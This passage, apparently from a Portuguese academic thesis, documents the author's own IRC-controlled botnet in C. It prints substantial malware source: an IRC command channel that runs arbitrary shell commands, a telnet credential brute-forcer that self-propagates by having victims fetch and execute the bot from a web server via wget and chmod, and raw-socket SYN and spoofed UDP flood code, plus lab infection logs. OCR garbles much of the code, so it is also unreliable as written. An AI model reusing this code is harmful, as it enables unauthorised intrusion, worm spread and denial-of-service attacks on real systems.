unsigned short csum{unsigned short *buf, int nwords);
uintz2_t get_random_ip();
int syn_flocd(attack_info *ainfo, irc_info *info};
int udp_flocd{attack_info *ainfo, irc_info *info);

unsigned shert tcp_csum{unsigned short *psh, unsigned short *tcphdr, int pshwords, int tcpwords);

serdif

Fonte: elaborado pelo autor.

3.3.2.2 Comunicacdo na rede botnet

Pelo esquema apresentado na Figura 11, é possivel verificar que toda a comunicacéo
na rede botnet acontece através de um servidor IRC. Para realizar a comunicagdo entre o
botmaster e os bots, ambos devem conectar-se no servidor IRC. Para o botmaster foi utilizado
um cliente IRC, descrito nas ferramentas do trabalho, para o bot foi feito a programacéo
seguindo o protocolo IRC. Este procedimento foi dividido em trés métodos. O primeiro
método |1é uma lista de servidores e tenta conectar em cada um deles, parando no primeiro que
conectar. O segundo, utilizando esta conexdo ativa, tenta realizar o login no servidor,
enviando comandos do protocolo IRC como User, NIck e Join. O terceiro método se
encarrega de manter a conexdo ativa, tratando de responder aos pacotes de pING e
interpretando comandos enviados pelo botmaster, bem como enviando retornos para o
mesmo. O método que tenta estabelecer uma conexdo com o servidor IRC € 0 irc connect,
que recebe um argumento do tipo irc_info. Este método verifica uma lista de enderecos IP e

portas utilizados para conexdo com os servidores, que € obtida do arquivo de configuracéo
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config.h com a constante definida por trc serveERrs. Os enderegos sdo organizados em
pares IP:PORTA e sdo divididos com o caractere “|”. Para cada servidor da lista é executado o
cddigo do Quadro 13, responsavel por tentar estabelecer uma conexdo ativa. Caso ndo seja
possivel conectar em nenhum servidor IRC, o bot encerra sua execucdo. Este método apenas

cria um socket ativo com o servidor IRC, porém ainda nao € possivel enviar mensagens.

Quadro 13 - Parte do método que tenta estabelecer um socket ativo

try to find a socket
if {getaddrinfo{srv, port, &hints, &result) != &) {

perror{"getaddrinfo™);

! try next server

continue;

f search through responses
for {rp = result; rp != NULL; rp = rp-»ai_next) {
if (({fd_irc = socket({rp-»ai_family, rp-»ai_socktype, rp-»ai_protocel)) == -1) {

perror{"irc socket");

! if we can't create a socket with some response, no problem try next

continue;

{ we've successfuly create a socket, now we need to try to conmect
if (connect{fd_irc, rp-»ai_addr, rp-»ai_addrlen) == -1) {

perror("irc connect");

continue; // again no problem if not works
eak;
¥
{ we must use this convenient method to free all results list
f {since is a linked t not be made with a simple Be
fresaddrinfo{result);
f arrived at last result without successful connection

if (rp == WULL)Y {
close{fd_irc);
perror{"cannot connect to irc"});

T else {

we are connected
info-»fd_irc = fd_irc;

¥

3

Fonte: elaborado pelo autor.

Ap0s estabelecer um socket ativo, é necessario fazer login no servidor IRC para entdo
poder se comunicar com ele. Para realizar login, sdo enviados comandos NICK, USER € O
comando go1n para entrar em um canal. N&do pode haver duplicidade de N1ck no mesmo

canal, para conseguir isto € gerado um nick aleatério em cada bot durante sua execucdo. O
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nome do canal utilizado no comando Jorn € definido no arquivo config.h pela constante

TrC_cHANNEL. O Quadro 14 apresenta o método que faz o procedimento de login.

Quadro 14 - Procedimento de login no servidor IRC

int irc_login{irc_info *info) {

info->nick = random_nick();
char *NICK = malloc(strlen(info-»nick) + 6);
char *J0IN = malloc(strlen(info-»>ch) + &);

char *USER = malloc(2 * strlen(info-»nick) + strlen({IRC_USER) + 1);

sprintf{USER, IRC_USER, info-»nick, info-:nick);
snprintf(NICK, strlen(info-»nick) + 6, "NICK %s", info-»nick);
snprintf(JOIN, strlen(info-»ch) + 6, "JOIN %s", info-»ch);

if (write(info-»fd_irc, NICK, strlen{NICK)) == -1) {
perror(”sending nick™);
return EXIT_FAILURE;

/{ send newline

write(info->fd_irc, "\n", 1);

printf("value of USER = ¥s\n", USER);

if (write(info-»fd_irc, USER, strlen(USER)) == -1) {
perror(”sending user™);
return EXIT_FAILURE;

'/ send newline
write(info->fd_irc, "\n", 1);

(write(info->fd_irc, JOIN, strlen(JOIN)) == -1) {

if (v
perror(”sending join™);

return EXIT_FAILURE;

'/ send newline

write(info->fd_irc, "\n", 1);

free(NICK);
free(JOIN);

return EXIT_SUCCESS;

1
J

Fonte: elaborado pelo autor.

No Quadro 16 é apresentado 0 método random nick, responsavel por gerar o nick
aleatdrio unico por bot. Para gerar um nick aleatério foi utilizado a fungédo rand. Ao final do
método apenas uma certa quantidade de caracteres é copiada para o nick efetivamente, o
nimero maximo de caracteres permitidos em um nick para o servidor IRC esta configurado no
arquivo config.h pela constante 1rc n1ck 1EN. Diferentes servidores IRC podem ter
diferentes tamanhos de nick, portanto cabe ao botmaster configurar corretamente o
pardmetro, caso contrario ira ocorrer um erro ao conectar no servidor. A fungdo rand no C so

sera efetiva caso utilizado a fungdo srand com alguma semente previamente. Sem ter uma
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semente 0 rand produzira sempre 0s mesmos valores ndo sendo suficiente para gerar nomes
aleatorios para cada bot, pois todos teriam o nome igual. Para gerar uma semente diferente
para cada instancia, optou-se por fazer uma leitura de 8 bytes no arquivo /dev/urandom
seguido de um OR com o tempo em segundos que passaram desde 1 de janeiro de 1970
(funcdo time). O Quadro 15 demonstra esse processo. A geracdo da semente ocorre no

método main e SO € chamada uma Unica vez a cada execucdo do bot.

Quadro 15 - Geracdo de uma semente Unica por bot

// generate unique seed for this bot

long long int seed;
read(open("/dev/urandom™, O_RDONLY), &seed, sizeof(seed));

srand(seed | time(NULL));

Fonte: elaborado pelo autor.
Quadro 16 - Método que retorna um nick aleatorio

// return a random nick to use in IRC channel

char * random_nick() {
char rnick[] = "abcdefghijklmnopgrstuvixyz1234567898",;
char *retnick = malloc({IRC_NICK_LEN + 1)};
for (unsigned int 1 = @; 1 < strlen(rnick); i++) {

rnick[i] = rnick[rand() ¥ strlen(rnick)];

strncpy(retnick, rnick, IRC_NICK_LEMN);
retnick[e] = 'b";
retnick[IRC_NICK_LEN] = "\@';

return retnick;

1
J

Fonte: elaborado pelo autor.

Apbs feito o login com sucesso, o bot fica em um estado de espera por comandos do
botmaster. O método que controla as requisi¢oes do servidor IRC é irc 1isten, que verifica
se as mensagens enviadas sdo oriundas do botmaster. Caso ndo forem, ele as descarta, com
excecao do pacote PING. Sempre que um pacote com a palavra PING € enviada do servidor,
uma mensagem de PONG ¢ retornada pelo bot. Isto faz parte do protocolo para controlar
quantos clientes estdo ativos.

Assim que entrar em modo de espera, 0 bot envia uma mensagem para o botmaster
saber que o bot esta ativo e aguardando comandos. A mensagem utilizada é “ready to obey to
the master!”. O Quadro 17 demonstra parte do método irc 1listen, sendo que o lago while
é executado enquanto houver mensagens vindas do servidor IRC e contém a verificacdo se a
mensagem é oriunda do botmaster. Caso a mensagem seja, é seguido uma verificagdo se

contém algum dos comandos validos. Os comandos validos sdo: !<comando shell> para
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execucdo de comandos no shell; eattack para ataques DD0S; escan para varredura de uma

rede; @xi11 é para terminar a execugao do bot; ene1p apresenta uma tela de ajuda.

Quadro 17 — Laco principal da comunicacao

irc_send{welcome, strlen{welcome), info);

hile{{num_read = read(info->fd_irc, buf, sizecf(buf))) > a) {
set the terminating null byte of string before “r character
buf[num_read] = "Ya';
guarantee that buf doesn't contain CR and LF

buf[strcspn{buf, "wrin")] = a;

f handle initial part of the message to ensure that is from master
strncpy(str_ret, buf, 8);
str_ret[8] = "\e';

f only read if message begins with :master! meaning that is from master

if {!strncep(str_ret, ":master!”, 8)) {

Fonte: elaborado pelo autor.

Caso a mensagem contenha :! significa que é um comando shell. Quando o bot
verifica um comando desse tipo ele envia uma mensagem para o botmaster dizendo que esta
executando o comando e faz uma chamada para a fungdo popen do Linux. Esta fun¢do popen
faz o processo de encaminhar o comando para o shell padrdo da méaquina. Assim que o
comando esté sendo executado é chamada a fungdo fgets que faz a leitura do buffer de saida
do comando, e com esse buffer &€ chamada a fun¢do irc send da aplicagdo. O Quadro 18

mostra esse procedimento.
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Quadro 18 - Tratando comandos shell

// handling sh command

if (!strncmp(":!", master_cmd[3], 2)) {

strncpy(command, (master_cmd[3] + 2}, strlen(master_cmd[3]) - 1);

// handle additional command line arguments, without this approach
// commands like uname -a& would lose '-a' part, due to tokenization of the arguments
for (int 1 = 4; 1 < token_len; i++) {

sprintf{command, "%z ¥s", command, master_cmd[i]);
}
// send status to botmaster
sprintf(message, "\x@2 Executing command: ¥s'\x@2", command);

irc_send{message, strlen(message), info);

// appends error redirection to stdout, this way we can handle sh errors too

strcat(command, " 2>&1");

// threat execution errors

if (! {file_popen = popen(command, "r"})) {
sprintf{message, "ERROR executing command: ¥= errno is %d", command, errno);
irc_send{message, strlen(message), info);

continue;

// =end the command execution result back to the botmaster
while(fgets(popen_buf, sizeof(popen_buf), file_popen) != NULL) {

irc_send(popen_buf, strlen(popen_buf), info);

pclozse(file_popen);

Fonte: elaborado pelo autor.

O método irc send € encarregado de enviar as mensagens para o socket do servidor
IRC. As mensagens enviadas aceitas pelos servidores sdo no formato PRIVMSG #<nome do

canal> :<mensagem>. O Quadro 19 apresenta o envio de mensagens IRC.
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Quadro 19 - Envio de mensagem IRC

int irc_send(char *msg, int len, irc_info *info) {
f (!len
len = strlen{msg);
char *PRIVMSG = malloc{len + strlen{"FRIVMSG")} + strlen{info-»ch) + 18);
snprintf(PRIVMSGE, len + strlen({info-xch) + 12, "PRIVMSG %s :Xswn", info-»ch, msg);
int num write;
if ((num_write = write(info-»>fd_irc, PRIVMSG, strlen(PRIVMSG))}} == -1) {
perror{"write privmsg irc"});
return EXIT_FAILURE;
fres(PRIVMSG);
return EXIT_SUCCESS;
}

Fonte: elaborado pelo autor.

3.3.2.3  Proliferacédo da rede botnet

Para realizar a propagacdo dos bots, o botmaster deve enviar um comando @scan pelo
canal IRC, que pode ser enviado multiplas vezes e € possivel informar ou ndo o IP de uma
rede. O scan consiste em uma varredura de rede, onde verifica-se em uma faixa de IP’s se
determinada porta esta aberta e caso sim, tenta acessar com usudario e senha especificado. O
método que faz esse procedimento é scan network, que recebe como pardmetro um tipo
irc_info para poder informar o servidor IRC de que houve sucesso na tentativa de invasao, e
também recebe um paradmetro contendo um IP, que indica qual rede deve ser verificada. Caso
0 parametro IP seja nulo, entdo deve ser utilizado o endereco IP em que o bot se encontra,
facilitando assim para o botmaster enviar o comando para que todos se propaguem em suas
devidas redes, sem precisar enviar o IP de cada uma separadamente.

Antes de iniciar a varredura de rede é feito o download do arquivo de credenciais
cred file. O método responsavel por isso é download credentials file. Caso ndo seja
possivel fazer o download, ou ndo seja possivel abrir o arquivo para leitura por falta de
permissao, uma mensagem de erro € enviada para o botmaster. Para realizar o download do
arquivo e utilizado o comando wget apontando para um servidor web contendo este arquivo.
O comando completo utilizado é especificado em DOWNLOAD CRED FILE NO arquivo
config.h. ApOs realizar o download do arquivo é feito um loop de 1 até 254 no ultimo octeto
do IP especificado (seja o IP passado por pardmetro ou o IP do bot), e para cada iteragdo
tenta-se conectar na porta especificada por TELNET PORT NO arquivo config.h, seguido pelo
processo de login com as credenciais do arquivo crep rILE € iniciado. Caso o login seja

bem-sucedido é iniciado o processo que faz a cdpia do bot para a maquina invadida e em
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seguida € enviado uma mensagem de sucesso para botmaster: “expoited <ip>". O método que

realiza o processo de login e faz a copia do bot é teinet 1ogin. O Quadro 20 apresenta o

método scan network.

Quadro 20 - Método que faz a varredura na rede

int scan_network(irc_info #=info, char *ip) {
download_credentials_file();

if (access(CRED_FILE, R_OK) == -1) {
perror("access cred file");

irc_send({"can't read credentials file\n", strlen{"can't read credemtials file‘n")}, info};
return EXIT_FAILURE;

char *subnet;
if (!ip)
subnet = get_subnet_address();

m
I

L
m

subnet = ip;
if (subnet) {

/ get first octect
char *fo = strick(subnet, ".");
'/ second... and third
char *s0 = striock(nUuLL, ".");
char *to = striock(NULL, "."}:

char msg[se];
/ loop through hosts
for {int i = 1; 1 < 255; i+s) {
telnet_info info_t;
sprintf{info_t.ip, "%s.%s.¥%s.%d", fo, so, to, 1};
#ifdef DEBUG
printf{"trying to connect to telmet ip = %swn", info_t.ip};
#endif
// if TELNET port is open and listening we'are connected
if (!telnet_connect(&info_t)) {
sprintf(msg, "connected to X¥s\n", info_t.ip);
irc_send{msg, strlen{msg), info);
sprintf(msg, "trying to exploit %s\n", info_t.ip);
irc_send{msg, strlen{msg), info};

/f try to exploit host

if (Mtelnet_login(&info_t)) {

sprintf{msg, "exploited Xs\n", info_t.ip);
irc_send({msg, strlen{msg), infec),

'/ after tried to login, if sucessful or not, we must seek cur file to the
// to try next host
fseek({credentials_file, @ , SEEK_SET):

return EXIT_FAILURE;

beginning

Fonte: elaborado pelo autor.
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O método que tenta fazer a exploracdo do host vulneravel € teinet login. Neste
processo ocorrem diversas tentativas de conexdo com usuarios e senhas diferentes. Para saber
se uma das credenciais testadas funcionou com sucesso, é verificado se a mensagem retornada
pelo host vulneravel contém um dos caracteres utilizados para designar um prompt de
comandos. Os caracteres possiveis sdo #, ~ e s, assim que o retorno contenha um destes
caracteres pode-se considerar que ha um prompt pronto para receber comandos. Assim que 0
bot obtém o prompt ele envia um comando para a vitima realizar o download da cépia do bot.
A cdpia do bot acontece em duas etapas:

a) bot envia o comando referenciado por powNLOAD BINARIES NO arquivo config.h para

a vitima, iniciado assim o download do arquivo getbot . sh citado na se¢édo 3.3.2.1;

b) a vitima executa 0 arquivo getbot.sh que faz a conexdo com um servidor web

realizando o download da cdpia do bot e executando-o em seguida.

Foi utilizado este método em duas etapas para possibilitar ao botmaster adicionar
diferentes tipos de binarios de acordo com diferentes arquiteturas, sem ter que alterar o codigo
fonte dos bots, pois as instrugdes de download ficam no arquivo getbot.sh que é separado
do executavel do bot, permitindo alteracdes na botnet de forma dindmica. O Quadro 21
apresenta a parte do método telnet login que Vverifica o caractere de retorno indicando se
um prompt foi obtido e o envio do comando de download do arquivo getbot.sh. A linha
send_download command (info->fd telnet) corresponde ao primeiro passo citado
anteriormente e a linha wget -c ${SERVER_IP}/bot -P /tmp && chmod +x /tmp/bot &&

/tmp/bots 0O arquivo getbot . sh corresponde ao segundo.
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if (FD_ISSET{infc-»fd_telnst, &read_set)) {
int num_read = read(info-»fd_telnet, buf, MAX_BUF - 1);
buf[num_read] = "\e';

/ don't consider empty string as last tc avold losing messages due CR and LF
if (buf[e] != "\n' && buff[e] != '\r'")
strncpy(last_read, buf, num_read);
check if we've a prompt
if (strstri{buf, "#") || strstr({buf, “~") || strstri{buf, "$")) {

logged = true;

_pass = false;
str{buf, "legin incorrect")) {

wait_pass = false;

et_next_credentials{&user, &pass);

E

/ some sleep to handle cemmunication strange behaviors

sleep(l);

if (Fp_ISSET(info-»fd_telnet, &write_set)) {

if (replay_ctr++ »= 3)

resend_login = true;

replay_ctr = @;

/ do we have a shell? if yes send a evil message :-}
if (logged) {

send_downlead_command(info->fd_telnet);

return EXIT_SUCCESS;

{ we empley a replay counter to help us to identify when we missed something and server is waiting for some data, if repla

Fonte: elaborado pelo autor.

3.3.2.4  Ataques DDoS da rede botnet!3.

Para iniciar um ataque DDoS, o botmaster deve enviar um comando @attack. Este

comando pode ser seguido da palavra udp ou tcp. Inicialmente o bot verifica se a quantidade

de parametros passados atinge a quantidade minima, e caso ndo, ele envia uma mensagem de

erro para o botmaster indicando a sintaxe correta. Caso o comando contenha todos 0s

pardmetros entdo sdo preenchidos os valores do tipo attack info € & chamada a fungéo

correspondente, udp flood OU syn flood. Para a implementacdo dos ataques propostos foi

necessario utilizar programacao com raw sockets. Raw sockets permitem a manipulacdo direta

13 O funcionamento basico dos ataques implementados neste trabalho esta nas secdes 2.1.2.3.1 para UDP flood e

2.1.2.3.5 para TCP SYN flood
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de todos os elementos contidos em um frame ethernet, datagrama IP, segmento TCP ou
datagrama UDP. O método que faz o ataque TCP SYN flood € 0 syn flood e 0 método que
faz o ataque UDP flood é 0 udp flood. Ambos recebem como pardmetros um tipo
attack info, contendo as informagdes necessarias para realizar o ataque e um tipo irc_info
para enviar mensagens para o botmaster, como por exemplo a quantidade de pacotes enviados
até o momento. O Quadro 22 apresenta a sintaxe geral dos comandos de ataque para

respectivamente TCP e UDP.

Quadro 22 - Sintaxe dos comandos de atague

@attack tcp <IP do alvo> <nUmero de pacotes> <porta de origem ou 0> <porta
de destino ou 0>

@attack udp <IP do alvo> <numero de pacotes> <porta de origem ou 0> <porta
de destino ou 0> <pacotes por IP ou 0> <spoof | nospoof> <IP falso ou
zero>

Fonte: elaborado pelo autor.

A implementacdo do método syn flood, consiste em criar diversos pacotes TCP,
cada um com um IP de origem diferente e aleatorio, juntamente com a flag SYN marcada
como true, o resto das flags fica false. Inicialmente cria-se um socket do tipo raw e em
seguida séo criados os cabecalhos TCP* e o cabecalho IP*. Um loop € utilizado para enviar a
quantidade de pacotes especificados em attack info, € & cada novo pacote é necessario
gerar um IP de origem aleatdria, assim como gerar uma nova sequéncia de segmento TCP,
com isso também € necessario recalcular o checksum IP e checksum TCP. O Quadro 23
apresenta a criacdo do raw socket e do cabecalho TCP. Inicialmente € verificado se foi
especificado uma porta de origem e/ou destino para o ataque, caso ndo tenha sido é gerado
uma aleatoriamente. A linha que apresenta a definicdo da flag SYN € tcphdr->syn = 1, as

outras flags sdo deixadas como zero.

14 Para ver o contetdo e significado do cabecalho TCP veja RFC 793 (https://tools.ietf.org/html/rfc793).
15 Para ver o contetido e significado do cabecalho IP veja RFC 791 (https://tools.ietf.org/html/rfc791).
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Quadro 23 - Criagdo do raw socket e defini¢do do cabecalho TCP

if ((fd_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAM)) < @)

perror("opening socket"):
exit(EXIT_FAILURE);
}
/f ----- TCP HEADER -----
Jf TCP source port and destination
if (ainfo-»d_port)
tcphdr-rdest = htons(ainfo-»d_port);
else

tcphdr->dest = htons{rand() & @xFFFF};

if (ainfo-»s_port)
tcphdr-»source = htons(ainfo-»s_port);
else

tcphdr-»source = htons(rand() & BxFFFF);

/7 set the initial sequence of this TCP handshake
tcphdr-»seq = htons(rand{) & @xFFFFFFFF);

Jf initial ACK Sequence is zero

tcphdr-rack_seq = 4;

/7 offset without OPTIONS is 5

tcphdr->doff = 5;

/f reserved, should be zero

tephdr-»resl = @;

tephdr-»res?2 = 8;

[/ urgent flag

tcphdr-»urg = @;

/7 set 5¥N flag to 1 because we are starting a 3-way-handshake
tcphdr->syn = 1;

// set RESET flag

tcphdr->rst = @;

JF set ACK to zero in initial communication

tcphdr-rack = @;

Jf FIN flag is zero

tcphdr-»fin = 8;

/f PUSH flag

tcphdr->psh = @;

Jf window size doesn't matter too much in the 3-way-hs
tcphdr->window = htons{64);

Jf set to zero now, we'll compute cksum before send using tcp pseudo header
tcphdr-»check = @;

/7 URGENT pointer

tcphdr->urg_ptr = 8;

Fonte: elaborado pelo autor.

Apbs a definicdo do cabecalho TCP, € criado o cabecalho IP, juntamente com um
pseudo cabecalho®® para computar o checksum do TCP. O Quadro 24 apresenta os campos do
cabecalho IP. A linha iphdr->saddr = htonl (get random ip()) & responsavel por inserir
um IP aleatério no campo source address do cabecalho IP, o método que calcula o

checksum do IP € csum . O processo de gerar o IP aleatoriamente nao utiliza nenhum tipo de

16 Explicacdo do pseudo cabecalho esta na RFC 793.
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“inteligéncia”, sendo um simples rand em cada octeto. Isso tem a desvantagem que diversos

IP’s invalidos podem ser gerados. O Quadro 26 demonstra a implementacdo do método que

gera [P’s aleatoriamente.

Quadro 24 - Definicdo do cabecalho IP e pseudo header TCP

7 J— IP HEADER --------
f/ version of IPvd

iphdr-»version = 4;

{/ header minimum length 5 word = 28 bytes (because we don't set IP options)
iphdr-»ihl = 5;

' cal path with high throughout ToS 1818 1888

iphdr-»tos = 168;

[/ max TTL
iphdr-»ttl = 255;
/ set the layer 3 protocol, TCP is & (see fetc/protocols)
iphdr-»protocol = 6;

// length of this whole datagram

iphdr-»tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);

iphdr->id = rand() % @xFFFF;
// set fragment offset, always zero in our case

iphdr-»frag_off = @;

// set random source address, this attack implies only random ip's

iphdr-»saddr = htonl({get_random_ip{)});
iphdr->daddr = ainfo-»>d_ip;
iphdr-»check = csum({unsigned short #) buffer, iphdr-»tot_len);

f/ this value seems re
destination.sin_addr.s_addr = ainfo-»d_ip;

destination.sin_family = AF_INET;

f we set the most fields here because they don't change over flood process
pseudo_h.daddr = iphdr->daddr;
pseudo_h.res = @;
pseudo_h.proto = iphdr-»protocol;
ps

seudo_h.tcp_len = htons{sizeocf(struct tcphdr));

f/ set some random ip identification, this number only matters if IP segmentation occurs, not in our case

dundant when we use with RAW socket, is necessary to use in sendto();

Fonte: elaborado pelo autor.

O loop que gera o flood dos pacotes vai de 1 até o nimero de pacotes especificado,

enviando uma mensagem para o0 botmaster a cada 1/10 dos pacotes enviados, exemplo:

botmaster mandou enviar 1000 pacotes, a cada 100 serd enviado uma mensagem para indicar

que o ataque estd ocorrendo. A cada iteracdo é gerado um novo IP aleatorio, um novo valor

para a sequence TCP, e também sdo geradas novas portas aleatorias caso ndo tenha sido

especificado uma porta fixa. O metodo que calcula o checksum do TCP € tcp csum, que é

apenas a juncao do pseudo cabecalho TCP + cabecalho TCP real Seguido da chamada
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ao método csum utilizado no checksum IP. O Quadro 25 apresenta o loop que faz 0 SYN
flood.

Quadro 25 - Flood dos pacotes TCP SYN

char msg[58];

For {int 1 = 1; 1 <= ainfo-»n_pkts; i++) {
if (ainfo-rn_pkts < 1@ || (i % (ainfo-»n_pktss18) == 8)) {

sprintfimsg, "%d packets sent...", 1);

irc_send(msg, strlen{msg), info);

// we only change if port is zero

if (lainfo->d_port)

if (lainfo-»s_port)

tephdr-»source = rand() & @xFFF;

tcphdr-»seq = htons{rand() & @xFFFFFFFF);

iphdr-»saddr = htonl{get_random_ip())};
iphdr-»id = rand() % @xFFFF;

iphdr-»check = csum{{unsigned short *) buffer, iphdr-»tot_len);

/{ we must fill the pseudo header for computing cksum, this must be done at every packet sent
pseudo_h.saddr = iphdr->saddr:
tcphdr->check = a;

// computes de checksum passing both pseudo header and tcp real header, note that pseudo header is

short *)

tcphdr->check = tcp_csum({(unsigned short #) &pseudo_h, (unsigned

if (sendto(fd_sock, buffer, iphdr-:tot_len, ©, &destination, sizeof(struct sockaddr_in}) == -1} {
perror{"sending datagram");
exit{EXIT_FAILURE);

Fonte: elaborado pelo autor.
Quadro 26 - Método que gera um IP aleatorio

f/ generates a random IP (this not guarantee that is a valid IP)

uint32_t get_random_ip{) {

uint32_t ip;

for (char *p = (char *) &ip; p < (char *)(&ip + 1); p++)

#p = rand{) & @xFF;

return ip;

Fonte: elaborado pelo autor.

Para implementar 0 método udp flood primeiro € verificado se o botmaster
especificou spoof OU nospoof. Para efeitos de implementacéo, so sera utilizado raw sockets
caso especificado spoof, 0OU Seja, necessita que sejam forjados campos no cabegalho IP. Caso
seja especificado nospoof, sera utilizado o socket do tipo 1proTO UDP que delega a
necessidade de checksum e preenchimento do cabecalho IP ao kernel. O botmaster tem a

opcao de passar um IP falso como pardmetro: caso ele envie o valor 0 (zero), o IP falso ser&
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gerado da mesma forma que no ataque TCP SYN flood. Como payload do pacote UDP foi

utilizado a string fixa “Say hello to FURB”. O Quadro 27 apresenta a verificagdo referente a

utilizagdo do raw socket ou 1proTO UDP € 0 preenchimento do cabegalho.

Quadro 27 - Preenchimento cabegalho UDP

iphdr =

} else {

/ putting some

strncpy(payload,

/ UDFP source po

if {ainfo-»spoof

udphdr =

udphdr =

char *payload = {

_ip) {

{struct iphdr *) buffer;
{struct wdphdr *)} (iphdr + 1};

{(struct udphdr *) buffer;

char *) (udphdr + 1});

memset{buffer, @, sizeof{buffer));
if ((fd_sock = socket{AF_INET, SOCK_RAW, ainfo-»spoof_ip ? IPPROTO_RAW
perreri"opening socket™);

exit{EXIT_FATLURE)

payload_len = strlen("Say hellc to FURE");

payload in the packet

"Say hello toc FURB"™, payload_len);

J — UDP HEADER -----

rt and destination

if {ainfo-»d_port)

udphdr->dest = htons{ainfo-»d_port);

udphdr-»dest = htons{rand{) & @XFFFF);

if {ainfo-»s_port)

udphdr-»>source = htons{ainfo-»s_port);
elze
udphdr-»source = htons{rand() & BxFFFF)};
[ size of this header
udphdr-»>1len = htons{sizecf(struct udphdr}};

IFPROTO_UDP) )

<@y 1

Fonte: elaborado pelo autor.

No loop que gera o flood de pacotes, é verificado se deve ser atualizado o valor das

portas e o IP aleatério baseado no quinto parametro passado no comando. O Quadro 28

apresenta o loop que faz o flood dos pacotes.



3.3.3

Quadro 28 - flood dos pacotes UDP

char msg[sa];

1t 1= 1; 1 ¢= ainfo-»n_pkts; 1++) {

if (ainfo-»n_pkts < 1@ || (i ¥ {ainfe->n_pkts/i2) == @)) {
sprintfi{msg, "¥d packets sent...", i};
irc_send(msg, strlen{msg}, infe);

{ we need to change ports and ip's
if (i ¥ ainfo-»np_chg ==
we only change if port is zero
if {lainfo-»d_port)
udphdr-»dest = rand() & @xFFFF;

if {lainfo-»s_port)
udphdr-»source = rand(} & 8xXFEF;

if {ainfo-»spoof_ip} {
it (lainfo-»s_ip)
iphdr-»saddr = get_random_ip{};
iphdr-»>id = rand(} ¥ @xFFFF;
iphdr-»>check = csum{{unsigned short *)} buffer, iphdr-»tot_len);

1

{¢ flooding UDP packets

if (sendte({fd_sock, buffer, ainfo-»spoof_ip ? iphdr-»tot_len :

i f{struct udphdr) + payload_len), @, &destinaticon,
struct sockaddr_in)} == -1) {

perror{"sending datagram™};

exit(EXIT_FAILURE)};

Fonte: elaborado pelo autor.

Operacionalidade da implementacao
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Nesta secdo é apresentado o software funcionando sob a perspectiva do usuéario, ou

seja, do botmaster. As telas apresentam a interacdo com a botnet, utilizando um cliente IRC

em modo linha de comando e o cliente utilizado é descrito na secdo 3.3.1. Pelo fato do

software desenvolvido ndo possuir interface grafica, o formato das telas, cores e quaisquer

outros elementos graficos apresentados neste trabalho remetem as que sdo padrdo das

ferramentas utilizadas no desenvolvimento deste. As mensagens utilizadas nos retornos das

acOes dos bots e mensagens de ajuda estdo no idioma inglés porque desejou-se disponibilizar

0 codigo publicamente no Github e assim visando maior abrangéncia de colaboradores para o

software. Para a aplicacdo funcionar adequadamente € necessario que haja a0 menos uma

maquina infectada com o bot executando, um servidor web capaz de responder ao download

do arquivo binario do bot, o arquivo de credenciais e 0 arquivo getbot.sh. Também €
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necessario um servidor IRC em funcionamento e pronto para receber conexdes de novos
clientes. O setup destes componentes é omitido desta secao.

Inicialmente ao conectar no servidor IRC, o botmaster se conecta ao canal
especificado no arquivo config.n dos bots, que neste trabalho é #army of furb. Uma vez
dentro do canal, o botmaster tem o controle da botnet. A primeira tela, na Figura 13, apresenta
0 comando enelp, que d& uma visdo geral da sintaxe e significado dos comandos possiveis.
Na Figura 13 é possivel observar o usuario master enviando o comando ehelp € sendo
respondido pelo bot bbcjoccoo. Caso houvessem mais bots online na rede, todos
responderiam a solicitacdo para enviar um comando apenas a um bot especifico, utiliza-se o
comando IRC /msg. Na terceira linha observa-se a mensagem “ready to obey to the master”,
indicando que o bot tinha recém entrado na botnet. Na Figura 14 é apresentado o botmaster
enviando trés comandos diferentes para serem executados no shell do bot, e o seu retorno é
apresentado apds cada um deles. O retorno dos comandos é 0 mesmo que se fosse executado
diretamente no computador onde o bot reside. Os comandos enviados foram !'uname -a,

lusers € !df -H.
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Figura 13 - Retorno do comando ehelp
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Figura 14 - Executando comandos shell

D1:57 #army of furb

P1:57 = bddyr3dys master

P1:57 -!- Irssi: #army of furb: Total of 2 nicks @ ops, 0 halfops, @ voices, 2 normal

D1:58 - bd4yr34ys- Executing command: uname -a

P1:58 - bddyr34ys- Linux localhost.localdomain 4.13.5-200.7c26.x86 64 #1 SMP Thu Oct 5 16:53:13
p1:58 - bddyr34ys- Executing command: users

P1:58 - bdd4yr34ys- blacksheep

P1:58 - bddyr34ys- Executing command: df -H

P1:58 - bddyr3d4ys- Filesystem Size Used Avail UseS% Mounted on
P1:58 - bd4yr3dys- devimpfs 4.1G 0 4.16G 0% /dev

P1:58 - bddyr3dys- tmpfs 4.16 37/M 4.16 1% /dev/shm

P1:58 - bd4yr3dys- tmpfs 4.16 2.6M 4.16 1% /run

P1:58 - bddyr3dys- tmpfs 4.1G 0 4.16G 0% /sys/fs/cgroup
P1:58 - bddyr3dys- /dev/mapper/fedora-root 127G 516G 70G 42% /

P1:58 - bd4yr3dys- tmpfs 4.16 8.2M 4.16 1% /tmp

P1:58 - bddyr3dys- tmpfs 816M 25k 816M 1% /run/user/42
P1:58 - bddyr3dys- tmpfs 816M 5.2M 811M 1% /run/user/1000
P1:58 - bd4yr34ys- tmpfs 816M @ 816M 0% /run/user/@

Fonte: elaborado pelo autor.

A Figura 15 apresenta o botmaster enviando o comando escan, ja que ndo foi passado
nenhum parametro de IP, e cada bot tentard infectar a rede que se encontra. A Figura 15
demonstra que o bot n8s6svg21 tentou infectar o IP 172.17.0.2 e obteve sucesso, logo em
seguida o bot bo1z190vx pertencente aquele IP se conectou na rede e é possivel observar o
seu IP de fato no retorno do comando shell 1ip -4 a, que tem a funcédo de retornar o IPv4 da
maquina. No inicio da Figura 15 aparecem 2 nomes conectados no canal: b886svg21 €
master, ja logo apds a infeccdo, aparecem 3 nomes: b886svg21, bolzl%ovx € master. Na
Figura 16 é apresentado o contetdo da maquina que foi infectada, ou seja, o contetdo da
maquina em que 0 bot bolz190vx reside. O comando 1s -1a /tmp lista todos os arquivos do
diretorio /tmp. Os arquivos sd0 .pid file, getbot.sh € 0 binério do bot propriamente dito:
pot. O arquivo cred file nNdo é listado pois ele existe somente enquanto uma varredura de
rede esta ocorrendo. Ja 0 comando ps -eaf, também apresentado na Figura 16, demonstra os
processos sendo executados na maquina naquele momento. Como esta maquina era uma

maquina “limpa “, 0s Unicos processos sendo executados eram o shell e o bot.
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Figura 15 - Infectando maquinas na rede
blacksheep@localhost:~/git/IRC_botnet

File Edit View Search Terminal Tabs Help

blacksheep@localhos... blacksheep@localhost... blacksheep@localhos... blacksheep@localhos...

